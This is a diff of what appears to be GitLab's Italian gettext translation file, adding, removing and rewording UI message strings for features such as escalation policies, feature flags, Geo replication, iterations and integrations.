@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Blocca la condivisione di un progetto di %{group} con altri gruppi"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr "Questa impostazione è stata applicata a %{ancestor_group}. Per condivid
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Questa impostazione è stata applicata a %{ancestor_group}. Puoi eseguire l'override delle impostazioni o %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Mediano"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
